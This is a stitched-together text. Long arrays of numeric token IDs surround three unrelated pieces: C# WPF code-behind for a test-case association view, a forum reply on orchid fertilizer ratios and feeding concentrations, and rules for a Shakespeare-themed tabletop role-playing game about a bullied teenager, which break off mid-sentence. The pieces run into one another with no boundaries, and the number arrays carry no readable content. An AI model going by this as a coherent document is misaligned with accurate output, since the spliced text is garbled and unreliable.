22647, 13, 4155, 15, 14877, 15, 8982, 15, 24431, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2115, 42617, 24475, 3487, 31489, 15, 68, 2399, 24431, 19815, 9, 36294, 13, 299, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 15682, 2362, 273, 253, 23929, 36597, 366, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 48611, 264, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 23929, 36597, 366, 64, 7146, 9, 6082, 22647, 13, 30852, 264, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 36597, 366, 5089, 19996, 1874, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 30540, 253, 1071, 4812, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 9486, 2991, 34692, 5089, 19996, 1082, 187, 50270, 92, 187, 50266, 5089, 1655, 19030, 5089, 426, 436, 15, 27421, 26943, 15, 19030, 5475, 347, 6004, 28, 187, 50266, 2703, 1071, 2548, 426, 436, 15, 11316, 5089, 2548, 15, 4312, 28, 187, 50266, 2520, 15, 36597, 366, 5089, 39744, 15, 36597, 366, 40595, 1992, 5089, 9, 6259, 19030, 5089, 13, 1071, 2548, 558, 535, 50266, 2808, 15, 6074, 10069, 1587, 14749, 12894, 281, 26670, 6004, 10498, 342, 2654, 30, 551, 17, 2023, 1071, 18880, 2654, 30, 551, 18, 2023, 13119, 4257, 30, 551, 19, 2023, 8502, 21821, 30, 551, 20, 32722, 436, 15, 36597, 366, 5089, 39744, 15, 40595, 2618, 13, 436, 15, 36597, 366, 5089, 39744, 15, 5089, 40631, 2618, 13, 436, 15, 36597, 366, 5089, 39744, 15, 9395, 4257, 13, 436, 15, 36597, 366, 5089, 39744, 15, 24900, 21821, 558, 187, 50266, 14749, 22853, 15, 11257, 15, 14749, 12894, 1992, 5089, 36, 1169, 13904, 3145, 9, 2520, 13, 436, 15, 36597, 366, 5089, 39744, 15, 40595, 2618, 13, 436, 15, 36597, 366, 5089, 39744, 15, 5089, 40631, 2618, 13, 436, 15, 36597, 366, 5089, 39744, 15, 9395, 4257, 13, 436, 15, 36597, 366, 5089, 39744, 15, 24900, 21821, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 27319, 20007, 7146, 2362, 273, 253, 277, 72, 26943, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 7761, 15, 14877, 15, 8982, 15, 24431, 8880, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 277, 72, 26943, 64, 24431, 20007, 7146, 9, 6082, 22647, 13, 4155, 15, 14877, 15, 8982, 15, 24431, 8880, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 36597, 366, 5089, 19996, 1874, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 15682, 2362, 273, 253, 23929, 21605, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 48611, 264, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 23929, 21605, 64, 7146, 9, 6082, 22647, 13, 30852, 264, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 36597, 366, 5089, 39744, 15, 21605, 28521, 1874, 187, 50270, 94, 187, 50274, 94, 187, 94, 10851, 1727, 253, 1721, 1076, 4646, 15, 329, 2169, 14164, 313, 18, 296, 1180, 10, 12983, 310, 8521, 323, 390, 348, 2352, 275, 247, 21939, 5878, 15, 4952, 3904, 310, 1175, 323, 6244, 275, 653, 29416, 390, 5202, 269, 1808, 15, 309, 671, 897, 247, 686, 1559, 6188, 14, 2399, 7337, 8, 342, 2169, 374, 2109, 285, 495, 5784, 3904, 672, 6244, 3135, 281, 24147, 15, 187, 187, 42, 717, 8839, 17343, 272, 752, 309, 452, 4767, 323, 253, 806, 4791, 1107, 273, 5675, 13, 533, 12392, 476, 2075, 745, 13, 594, 309, 2868, 253, 1884, 14, 740, 14, 740, 310, 247, 1805, 4327, 984, 273, 253, 4103, 4831, 323, 14164, 13, 2429, 281, 253, 643, 5315, 1406, 307, 11539, 13, 1723, 13, 326, 310, 1663, 417, 247, 3426, 3662, 13, 347, 368, 403, 8505, 2819, 323, 752, 310, 1682, 323, 634, 6244, 15, 187, 187, 6407, 285, 31971, 13, 3997, 7208, 13, 533, 387, 43499, 1698, 6299, 15, 743, 390, 42290, 275, 3753, 588, 11766, 923, 247, 23281, 2900, 313, 1949, 7779, 18779, 6748, 949, 253, 9741, 39625, 10, 326, 310, 1840, 1458, 14, 1099, 28273, 2264, 18224, 33785, 313, 53, 5942, 582, 533, 11403, 326, 3965, 1199, 667, 673, 352, 42229, 428, 5312, 13, 275, 1142, 2219, 15, 733, 2789, 3282, 840, 13, 326, 253, 6244, 588, 452, 16323, 281, 1902, 824, 247, 479, 3800, 13, 533, 10879, 2739, 6186, 15, 2896, 4499, 13, 604, 359, 897, 337, 16, 19, 15893, 273, 253, 1884, 14, 740, 14, 740, 591, 46740, 13, 359, 403, 9433, 690, 1052, 28273, 273, 14164, 3815, 13, 285, 247, 308, 5942, 273, 1475, 16176, 14, 8320, 28273, 2, 49920, 13, 309, 1871, 5583, 337, 16, 25, 394, 15893, 591, 46740, 7019, 247, 2129, 15, 1422, 1472, 1335, 2819, 387, 670, 2233, 28273, 308, 5942, 390, 594, 13, 533, 326, 434, 247, 2257, 1679, 5460, 685, 752, 310, 4390, 1846, 15, 187, 187, 42, 1900, 1869, 359, 943, 3693, 1029, 14, 79, 10682, 30465, 14460, 13, 347, 326, 476, 3523, 247, 4444, 432, 30601, 272, 13 ]	</summary> private void FilterTestsInternal() { if (this.AssociateTestViewModel == null) { return; } string fullNameFilter = this.tbFullName.Text.Equals(AssociateTestViewFilters.FullNameDefaultText)? string.Empty : this.tbFullName.Text; string classNameFilter = this.tbClassName.Text.Equals(AssociateTestViewFilters.ClassNameDefaultText)? string.Empty : this.tbClassName.Text; this.AssociateTestViewModel.FilterTests(fullNameFilter, classNameFilter); } /// <summary> /// Handles the GotFocus event of the tbFullName control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void tbFullName_GotFocus(object sender, RoutedEventArgs e) { this.tbFullName.ClearDefaultContent(ref this.AssociateTestViewModel.AssociateTestViewFilters.IsFullNameFilterSet); } /// <summary> /// Handles the LostFocus event of the tbFullName control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void tbFullName_LostFocus(object sender, RoutedEventArgs e) { this.tbFullName.RestoreDefaultText(AssociateTestViewFilters.FullNameDefaultText, ref this.AssociateTestViewModel.AssociateTestViewFilters.IsFullNameFilterSet); } /// <summary> /// Handles the KeyUp event of the tbFullName control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="System.Windows.Input.KeyEventArgs"/> instance containing the event data.</param> private void tbFullName_KeyUp(object sender, System.Windows.Input.KeyEventArgs e) { this.FilterTestsInternal(); } /// <summary> /// Handles the GotFocus event of the tbClassName control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void tbClassName_GotFocus(object sender, RoutedEventArgs e) { this.tbClassName.ClearDefaultContent(ref this.AssociateTestViewModel.AssociateTestViewFilters.IsClassNameFilterSet); } /// <summary> /// Handles the LostFocus event of the tbClassName control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void tbClassName_LostFocus(object sender, RoutedEventArgs e) { this.tbClassName.RestoreDefaultText(AssociateTestViewFilters.ClassNameDefaultText, ref this.AssociateTestViewModel.AssociateTestViewFilters.IsClassNameFilterSet); } /// <summary> /// Handles the KeyUp event of the tbClassName control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="System.Windows.Input.KeyEventArgs"/> instance containing the event data.</param> private void tbClassName_KeyUp(object sender, System.Windows.Input.KeyEventArgs e) { this.FilterTestsInternal(); } /// <summary> /// Handles the MouseEnter event of the cbTestType control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="System.Windows.Input.MouseEventArgs"/> instance containing the event data.</param> private void cbTestType_MouseEnter(object sender, System.Windows.Input.MouseEventArgs e) { this.cbTestType.IsDropDownOpen = true; this.cbTestType.Focus(); } /// <summary> /// Handles the MouseMove event of the cbTestType control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="System.Windows.Input.MouseEventArgs"/> instance containing the event data.</param> private void cbTestType_MouseMove(object sender, System.Windows.Input.MouseEventArgs e) { ComboBoxDropdownExtensions.cboMouseMove(sender, e); } /// <summary> /// Handles the Click event of the btnAssociate control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void btnAssociate_Click(object sender, RoutedEventArgs e) { this.AssociateTestInternal(); } /// <summary> /// Associates the test internal. /// </summary> private void AssociateTestInternal() { Test currentSelectedTest = this.dgTests.SelectedItem as Test; string testType = this.cbTestType.Text; this.AssociateTestViewModel.AssociateTestCaseToTest(currentSelectedTest, testType); log.InfoFormat("Navigate to Edit Test Case with id= {0}, test suite id= {1}, CreateNew= {2}, Duplicate= {3}", this.AssociateTestViewModel.TestCaseId, this.AssociateTestViewModel.TestSuiteId, this.AssociateTestViewModel.CreateNew, this.AssociateTestViewModel.Duplicate); Navigator.Instance.NavigateToTestCasesEditView(this, this.AssociateTestViewModel.TestCaseId, this.AssociateTestViewModel.TestSuiteId, this.AssociateTestViewModel.CreateNew, this.AssociateTestViewModel.Duplicate); } /// <summary> /// Handles the MouseDoubleClick event of the dgTests control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="System.Windows.Input.MouseButtonEventArgs"/> instance containing the event data.</param> private void dgTests_MouseDoubleClick(object sender, System.Windows.Input.MouseButtonEventArgs e) { this.AssociateTestInternal(); } /// <summary> /// Handles the Click event of the btnRemove control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void btnRemove_Click(object sender, RoutedEventArgs e) { this.AssociateTestViewModel.RemoveAssociation(); } } }Depends the potting medium. A higher nitrogen (1st number) fert is recommended for orchids in a bark mix. Even numbers is good for plants in spagh or tree fern. I also use a 'bloom-booster' with higher 2nd and 3rd numbers when plants begin to spike. I am absolutely contradicting what I have stated for the first 35 years of growing, but studying can pay off, so I believe the 30-10-10 is a better choice because of the relative demand for nitrogen, compared to the other macronutrients, However, that is really not a complete answer, as you are apparently looking for what is best for your plants. First and foremost, feed frequently, but at VERY low concentrations. An orchid in nature will rarely see a nutrient solution (rainwater cascading through the forest canopy) that is above 15-25 ppm total dissolved solids (TDS), but sees that pretty much any time it rains - daily, in many cases. It makes sense then, that the plants will have evolved to expect such a meager, but frequent food supply. By contrast, if we use 1/2 teaspoon of the 30-10-10 per gallon, we are applying some 200 ppm of nitrogen alone, and a TDS of around 350-400 ppm! Personally, I'd recommend 1/8th teaspoon per gallon twice a week. You're still looking at about 100 ppm TDS or so, but that's a lot less severe than what is currently common. I always thought we should avoid high-nitrogen fertilizers, as that can stop a plant from blooming,
[ 5516, 1059, 13, 12688, 5602, 47240, 13, 4377, 2070, 254, 13, 285, 20055, 34632, 15, 187, 187, 5288, 2025, 378, 10592, 23012, 1277, 187, 187, 25310, 8598, 274, 310, 271, 3388, 1458, 807, 1711, 30149, 1342, 15, 3032, 2021, 4102, 4395, 281, 253, 35821, 273, 247, 2201, 1982, 2846, 15, 754, 6057, 642, 581, 285, 310, 2197, 281, 271, 42439, 19647, 1029, 2143, 835, 344, 1364, 1056, 521, 1211, 1039, 15, 2058, 1046, 1614, 344, 11449, 84, 521, 1211, 16273, 1974, 15, 3032, 1495, 310, 247, 22820, 15, 380, 4096, 273, 253, 2165, 310, 281, 2940, 342, 779, 949, 247, 1355, 533, 17262, 3006, 15512, 273, 521, 2264, 6797, 433, 318, 15, 187, 187, 1276, 247, 295, 15182, 2, 187, 187, 56, 3887, 9507, 38, 5935, 10197, 2293, 32302, 4966, 388, 30292, 187, 187, 41, 7042, 15353, 310, 634, 6867, 4766, 966, 33963, 1029, 2143, 15, 19296, 896, 281, 368, 673, 275, 1029, 2143, 15, 733, 457, 84, 751, 326, 15, 1310, 368, 1904, 457, 85, 564, 281, 1029, 2143, 275, 253, 1982, 840, 1158, 670, 47998, 22604, 4855, 4726, 275, 773, 35, 26948, 253, 49324, 603, 7335, 4071, 668, 352, 457, 84, 751, 326, 15, 187, 187, 510, 952, 7641, 588, 8008, 342, 403, 27, 380, 295, 15182, 13, 380, 480, 825, 13, 380, 17639, 39892, 313, 6082, 273, 8327, 665, 1912, 457, 85, 1918, 779, 253, 673, 273, 1388, 582, 247, 9371, 9732, 13, 285, 247, 8872, 2531, 8690, 15, 7641, 457, 84, 4651, 13, 26379, 285, 643, 952, 778, 320, 2879, 275, 347, 3058, 15, 187, 187, 510, 2165, 9513, 327, 7641, 457, 84, 806, 1388, 273, 2143, 533, 13451, 778, 6923, 1897, 13, 3618, 390, 1014, 2607, 15, 733, 457, 84, 512, 598, 281, 253, 2165, 6303, 15, 187, 187, 15090, 31164, 52, 42945, 1703, 187, 187, 46250, 285, 17113, 19, 69, 23, 591, 4760, 1229, 390, 594, 294, 14, 1811, 21761, 20, 281, 818, 3773, 313, 14461, 387, 608, 10, 19, 3038, 281, 1132, 187, 187, 52, 15718, 56, 1703, 1108, 3003, 443, 14081, 47000, 7570, 187, 187, 37837, 7184, 310, 247, 2165, 670, 752, 4566, 327, 3304, 247, 1436, 457, 84, 1481, 15, 380, 3773, 1957, 253, 1881, 2312, 359, 512, 452, 15, 380, 2165, 6303, 10262, 253, 3773, 342, 9534, 285, 253, 3773, 3819, 689, 752, 7641, 11121, 344, 943, 513, 13, 840, 253, 15509, 3936, 326, 16879, 285, 8599, 253, 3773, 849, 352, 1663, 3531, 562, 15, 8948, 1841, 588, 1614, 562, 973, 313, 338, 253, 3773, 1705, 598, 342, 247, 5272, 2250, 10, 533, 2223, 352, 4566, 16426, 3430, 984, 31065, 512, 253, 3773, 971, 7641, 281, 320, 34672, 15, 187, 187, 51, 3271, 1410, 187, 187, 49649, 476, 17049, 970, 9503, 285, 1056, 598, 5913, 7906, 597, 971, 533, 281, 1978, 436, 2165, 22024, 266, 309, 21434, 253, 3773, 281, 2017, 11170, 253, 1563, 9503, 594, 597, 452, 17006, 327, 849, 281, 769, 15, 1583, 755, 281, 3984, 275, 253, 4318, 273, 253, 2554, 285, 1611, 281, 755, 7641, 281, 513, 752, 597, 651, 513, 15, 187, 187, 51, 14519, 48, 27, 380, 1607, 22480, 5006, 665, 310, 12969, 407, 521, 32225, 285, 14021, 15, 2415, 1922, 2293, 48, 27, 380, 23327, 20823, 1334, 665, 45219, 642, 581, 15, 41, 2300, 38742, 27, 380, 275, 8632, 261, 422, 5006, 665, 18055, 281, 769, 13, 1919, 344, 689, 250, 10719, 15, 418, 2350, 58, 24871, 35, 12775, 27, 380, 15457, 8877, 259, 31981, 665, 310, 1881, 2343, 31816, 16, 1286, 27009, 15, 47339, 12838, 947, 27, 380, 6963, 665, 45219, 253, 3430, 1436, 285, 840, 3402, 5811, 275, 352, 15, 39, 1556, 37789, 3269, 27, 380, 1881, 24509, 7322, 14664, 3508, 665, 310, 387, 2798, 247, 35840, 15, 40, 14081, 6908, 30883, 27, 380, 15509, 310, 253, 22144, 457, 84, 21424, 273, 253, 2165, 15, 1583, 1053, 457, 85, 452, 247, 4318, 275, 7641, 457, 84, 3998, 533, 3185, 755, 281, 25504, 773, 250, 1319, 668, 327, 779, 15, 733, 7729, 281, 320, 247, 1652, 17877, 15, 380, 15509, 556, 767, 7375, 27, 10338, 598, 253, 13451, 7641, 9365, 13, 285, 1978, 253, 2165, 3515, 25863, 15, 187, 187, 25310, 310, 271, 19328, 28713, 15, 5815, 6200, 13330, 342, 247, 1895, 344, 1537, 2454, 15, 1310, 7641, 476, 760, 8722, 253, 1895, 973, 344, 588, 5115, 2675, 2323, 533, 253, 10502, 403, 1270, 15, 1310, 344, 1057, 417, 6016, 1841, 973, 313, 395, 849, 1142, 31147, 513, 14677, 344, 9365, 2675, 41962, 1657, 15, 187, 187, 510, 15509, 2789, 598, 253, 13451, 15, 733, 310, 1682, 281, 1691, 7641, 310, 247, 4122, 34019, 13, 19328, 4112, 15, 2325, 17877, 15, 187, 187, 510, 15509, 840, 21460, 534, 4760, 7866, 253, 1614, 15, 1583, 778, 1642, 323, 15986, 604, 597, 751, 533, 275, 253, 990, 253, 15509, 21460, 15, 187, 187, 9707, 41631, 47, 2637, 4392, 2185, 40, 5324, 187, 187, 510, 806, 4760, 2789, 598, 247, 1643, 14683, 670, 752, 7641, 943, 513, 275, 253, 4112, 15, 16600, 352, 4864, 285, 1611, 281, 2486, 634, 2554, 457, 84, 8668, 327, 752, 2789, 3282, 15, 187, 187, 510, 15509, 943, 42845, 1066, 247, 4864, 6010, 273, 253, 1869, 15, 187, 187, 10993, 47655, 6647, 15289, 3003, 22454, 187, 187, 21020, 4566, 1669, 1475, 253, 2829, 15, 32392, 778, 564, 1475, 598, 281, 1264, 2069, 1078, 253, 6200, 7637, 15, 5815, 4760, 4850, 281, 3794, 281, 13, 390, 5691, 253, 1869, 15, 187, 187, 13045, 49, 28104, 2637, 187, 187, 3039, 247, 4760, 27019, 597, 773, 4374, 285, 34857, 823, 247, 1643, 14683, 281, 253, 1869, 15, 187, 187, 2042, 642, 581, 5113, 13, 253, 1869, 310, 2879, 1293, 247, 4533, 15, 187, 187, 2042, 1014, 247, 2014, 4760, 5113, 13, 253, 3939, 4760, 21968, 374, 69, 23, 15, 1310, 597, 4533, 608, 12, 616, 1869, 310, 417, 47960, 15, 12369, 597, 1056, 253, 4533, 390, 417, 597, 755, 247, 773, 250, 14, 1811, 10669, 6598, 187, 187, 2775, 5626, 40861, 2637, 187, 187, 2042, 247, 4760, 1057, 417, 751, 752, 253, 2571, 452, 1705, 598, 342, 597, 778, 5691, 253, 1386, 273, 1869, 285, 1265, 745, 247, 747, 1386, 273, 1869, 15, 2732, 253, 15509, 480, 1502, 1066, 253, 6010, 253, 4760, 457, 84, 2619, 7123, 15, 17814, 21968, 374, 69, 23, 15, 380, 1029, 20173, 14896, 323, 616, 1930, 13, 294, 14, 1811, 16027, 15, 187, 187, 2042, 253, 5691, 14896, 13, 253, 15509, 21354, 247, 1386, 949, 253, 643, 5697, 6108, 760, 253, 5697, 253, 3089, 9562, 30020, 1669, 15, 1310, 253, 3089, 9562, 25068, 253, 4533, 597, 755, 247, 294, 14, 1811, 10669, 15, 187, 187, 2354, 5707, 37, 416, 15289, 187, 187, 3039, 1132, 3249, 896, 281, 253, 806, 4760, 13, 380, 3773, 755, 247, 1273, 5103, 387, 19392, 281, 390, 11132, 253, 1869, 15, 32392, 513, 417, 452, 281, 769, 1060, 15, 1583, 778, 1509, 285, 4822, 247, 294, 14, 1811, 10669, 15, 187, 187, 3886, 46000, 416, 15289, 187, 187, 510, 2626, 673, 1475, 253, 3773, 778, 642, 3356, 823, 281, 253, 1869, 597, 476, 760, 1611, 281, 7018, 560, 352, 15, 1310, 597, 4533, 884, 12, 253, 1869, 310, 47960, 285, 7641, 9572, 627, 751, 271, 28006, 417, 8958, 752, 281, 513, 15, 20929, 778, 7018, 560, 7018, 37761, 15, 1310, 247, 4760, 11999, 597, 755, 247, 294, 14, 1811, 10669, 15, 187, 187, 1848, 14, 13935, 2293, 5935, 44, 18041, 187, 187, 49649, 778, 2075, 247, 294, 14, 1811, 10669, 281, 253, 15509, 285, 294, 14, 1811, 616, 4533, 4145, 3490, 1529, 4760, 281, 294, 14, 1811, 616, 4533, 15, 831, 4483, 4760, 281, 13253, 1037, 4840, 342, 581, 1529, 281, 1611, 285, 755, 616, 1039, 15, 187, 187, 5707, 37090, 20712, 1410, 187, 187, 4553, 512, 253, 14572, 310, 2218, 7641, 492, 656, 281, 769, 562, 253, 16879, 273, 752, 6569, 15, 380, 15509, 8599, 253, 3773, 752, 2686, 6569, 15, 380, 625, 7641, 457, 84, 16879, 4419, 643, 952, 281, 21319, 253, 1039, 344, 5605, 731, 281, 13, 253, 1679, 2779, 352, 310, 281, 789, 15, 187, 187, 510, 15509, 310, 954, 17877, 275, 436, 3408, 273, 253, 2165, 15, 187, 187, 9707, 427, 9465, 10011, 43578, 187, 187, 510, 15509, 2789, 598, 253, 1735, 6200, 273, 253, 2165, 15, 831, 778, 320, 752, 6569, 987, 846, 253, 1390, 6200, 390, 320, 1897, 13, 24464, 13, 390, 2607, 1996, 15, 733, 310, 1682, 604, 352, 3637, 253, 3626, 9099, 273, 7641, 457, 84, 5231, 15, 187, 187, 1147, 310, 247, 1175, 2934, 281, 2118, 432, 15394, 281, 15394, 15, 13529, 310, 625, 22258, 685, 773, 3726, 6940, 26174, 2455, 846, 1425, 187, 187, 8112, 2637, 3003, 443, 14081, 187, 187, 510, 2165, 34756, 581, 281, 767, 3038, 390, 281, 10793, 253, 15509, 390, 3773, 1158, 597, 452, 2183, 247, 3426, 2926, 15, 3932, 436, 310, 247, 2165, 670, 1495, 352, 3798, 1912, 457, 85, 452, 247, 2590, 12365, 13, 326, 760, 6569, 275, 7120, 15, 187, 187, 2573, 35, 4873, 16462, 2637, 187, 187, 2042, 368, 403, 3515, 436, 2165, 275, 2143, 840, 1053, 457, 85, 1056, 352, 1390, 625, 685, 2716, 271, 4964, 285, 840, 513, 247, 2716, 4964, 4274, 3624, 272, 6874, 1309, 534, 253, 4760, 2312, 670, 752, 597, 6311, 15, 5489, 2722, 326, 436, 310, 835, 253, 1524, 4715, 273, 253, 2165, 6634, 15, 187, 187, 9707, 16636, 2293, 3481, 3003, 15509, 187, 187, 510, 15509, 2789, 598, 13451, 285, 9099, 533, 816, 347, 1774, 281, 247, 794, 2165, 310, 326, 597, 1978, 1841, 4886, 15, 380, 15509, 3198, 281, 320, 1077, 26777, 15, 1583, 1642, 253, 806, 1436, 752, 616, 1869, 310, 15, 1583, 1642, 253, 1735, 4760, 773, 41359, 390, 5691, 7721, 2091, 3773, 878, 281, 4533, 13, 253, 15509, 12325, 731, 281, 773, 43956, 11602, 329, 1175, 15509, 476, 1978, 253, 2165, 4886, 4541, 13, 534, 11359, 4130, 457, 84, 2341, 598, 15, 1281, 253, 13870, 3468, 285, 253, 2165, 588, 3150, 15, 1310, 247, 4760, 476, 457, 85, 1056, 598, 616, 2564, 840, 17049, 731, 285, 1705, 896, 1996, 15, 187, 187, 47015, 23710, 4889, 45516, 24482, 187, 187, 2632, 382, 5887, 1256, 27, 608, 12, 11623, 7018, 1256, 187, 187, 1779, 19656, 27, 4855, 20173, 14896, 13, 294, 14, 1811, 16027, 15, 187, 187, 20, 5784, 12778, 1621, 27, 884, 12, 281, 7018, 560, 253, 16879, 187, 187, 1785, 14, 43956, 14391, 561, 27, 12286, 247, 10669, 281, 755, 247, 294, 14, 1811, 390, 3490, 3095, 2010, 281, 294, 14, 1811, 187, 187, 1394, 755, 247, 294, 14, 1811, 10669, 604, 3095, 2789, 368, 1056, 247, 7018, 1256, 4533, 390, 604, 368, 7168, 247, 5691, 15, 1422, 778, 671, 755, 581, 323, 8136, 275, 253, 374, 2109, 285, 495, 5784, 673, 1475, 253, 2829, 15, 187, 187, 4237, 40419, 3481, 45516, 187, 187, 510, 3773, 403, 7063, 1475, 253, 2829, 27, 12300, 80, 13, 473, 783, 48620, 13, 5516, 1059, 13, 12688, 5602, 47240, 13, 4377, 2070, 254, 13, 285, 20055, 34632, 187, 187, 30985, 253, 6200, 27, 187, 187, 14633, 27, 7641, 4566, 281, 253, 2143, 3906, 327, 253, 806, 1388, 273, 966, 15, 380, 295, 15182, 310, 9428, 281, 7102, 779, 1475, 533, 2506, 457, 85, 15, 7641, 7637, 598, 3551, 715, 966, 3563, 15, 17814, 313, 10387, 253, 20295, 3226, 10, 310, 17303, 387, 779, 15, 380, 9732, 12325, 779, 2139, 344, 310, 3563, 2866, 187, 187, 7883, 5605, 281, 564, 806, 32, 5516, 1059, 15986, 15, 187, 187, 22176, 1059, 27, 7641, 278, 45143, 1633, 285, 17954, 1066, 15, 187, 187, 14633, 27, 10209, 2, 187, 187, 40616, 5602, 47240, 27, 6279, 285, 253, 966, 33350, 387, 479, 285, 309, 1928, 19201, 15, 309, 457, 78, 824, 247, 48222, 15, 187, 187, 39, 267, 34632, 27, 309, 1789, 15, 309, 457, 78, 642, 48222, 15, 187, 187, 14633, 27, 21508, 2, 187, 187, 40616, 5602, 47240, 21968, 247, 608, 594, 617, 1869, 310, 417, 47960, 15, 1500, 840, 41084, 247, 294, 14, 1811, 10669, 15, 187, 187, 21958, 2070, 254, 27, 6279, 285, 253, 17639, 39892, 8599, 253, 480, 825, 281, 320, 5322, 594, 309, 1158, 703, 13052, 479, 15, 309, 1928, 1175, 969, 15, 187, 187, 14633, 27, 10209, 2, 187, 187, 39, 267, 34632, 27, 6279, 285, 309, 1611, 281, 25189, 6471, 619, 2675, 2471, 407, 2403, 247, 7060, 515, 7579, 281, 253, 9732, 15, 187 ]	Hamlet, Lady Macbeth, King Leer, and Falstaff. MEET BILL SPEAR Bill Spear is an average 15 year old Freshman. His family recently moved to the suburbs of a major US city. He knows no one and is sent to an unforgiving high school where he must make his own way. At every turn he confronts his own inadequacy. His life is a tragedy. The purpose of the game is to walk with him through a small but agonizing slice of his total degredation. What a nerd! WELCOME TO HELLSGATE HIGH Hellsgate is your typical middle class suburban high school. Think back to you time in high school. It’s like that. If you didn’t go to high school in the US then think about Sunnydale High School in “Buffy the Vampire Slayer” it’s like that. The people Bill will interact with are: The nerd, The jock, The cheerleader (object of desire who won’t give him the time of day), a helpful teacher, and a sadistic coach. Bill’s parents, siblings and other people may be added in as needed. The game begins on Bill’s first day of school but scenes may jump days, weeks or even months. It’s all up to the game master. MATERIALS NEEDED Paper and pens2d6 per player30 or so re-roll tokens3 to 7 players (best at 5)2 hours to play SCREWED – THE GAME ENGINE Screwed is a game about what goes on inside a person’s head. The players represent the self talk we all have. The game master presents the players with situations and the players fight over what Bill thinks he should do, then the GM takes that fantasy and tells the players how it really turned out. Maybe things will turn out well (if the players come up with a reasonable action) but often it goes badly wrong because secretly all the players want Bill to be screwed. ROLES Players can skip using roles and make up whatever thoughts they want but to keep this game Shakespearean I urge the players to divvy the following roles so they have inspiration on how to act. They get to speak in the voice of the role and try to get Bill to do what they would do. ROMEO: The impulsive boy who is ruled by his lust and emotions.OTHELLO: The jealous outsider who trusts no one.HAMLET: The indecisive boy who fears to act, until he overreacts. LADY MACBETH: The guilt driven wretch who is self loathing/self destructive.KING LEER: The king who trusts the wrong person and then wallows in it.FALSTAFF: The self indulgent buffoon who is at heart a coward.GAME MASTER: The GM is the devil’s advocate of the game. They don’t have a voice in Bill’s brain but instead get to inflict “reality” on him. It helps to be a little cruel. The GM has two jobs: Make up the scenes Bill faces, and keep the game running smoothly. Bill is an awkward teenager. Each scene deals with a problem he might face. If Bill can only manage the problem well he will achieve social success but the risks are great. If he does not handle things well (and how many teenagers do?) he faces social ridicule. The GM makes up the scenes. It is best to put Bill is a highly embarrassing, awkward situation. Be cruel. The GM then picks which player starts the turn. They may ask for volunteers if they like but in the end the GM picks. THE OPENNING THOUGHT The first player makes up a few sentences about what Bill should do in the situation. Keep it brief and try to include your role’s perspective on what makes sense. The GM should jot down a brief summary of the thought. GO LEFT AROUND THE TABLE Play goes left around the table. Players may go around up to three times before the scene ends. Each player gets to respond to, or challenge the thought. RESPONDING When a player responds they “Yes and…” add a few sentences to the thought. If no one objects, the thought is added without a roll. If even a single player objects, the active player rolls 2d6. If they roll 5+ their thought is not repressed. Whether they make the roll or not they get a “re-roll token”. CHALLENGING If a player does not like what the others have come up with they may challenge the line of thought and start off a new line of thought. After the GM jots down the summary the player’s pick sides. Everyone rolls 2d6. The high roller wins for their side, re-roll ties. If the challenge wins, the GM draws a line through the other ideas leaving only the ideas the challenger endorsed left. If the challenger loses the roll they get a re-roll token. SECOND ROUND When play comes back to the first player, The players get a second shot at responding to or challenging the thought. Players do not have to act here. They may pass and collect a re-roll token. THIRD ROUND The third time around the players may no longer add to the thought they can only try to supress it. If they roll 10+ the thought is repressed and Bill stands there like an idiot not knowing what to do. Player may supress supressions. If a player passes they get a re-roll token. RE-ROLL TOKENS Players may pay a re-roll token to the GM and re-roll their roll OR force another player to re-roll their roll. This allows player to tactically mess with one another to try and get their way. CONSEQUENCES After all the rolling is done Bill trys to act out the fantasy of what happens. The GM tells the players what actually happens. The more Bill’s fantasy requires other people to behave the way he wants them to, the less likely it is to work. The GM is most cruel in this phase of the game. THE NEXT SCENE The GM makes up the next scene of the game. This may be what happens right after the last scene or be 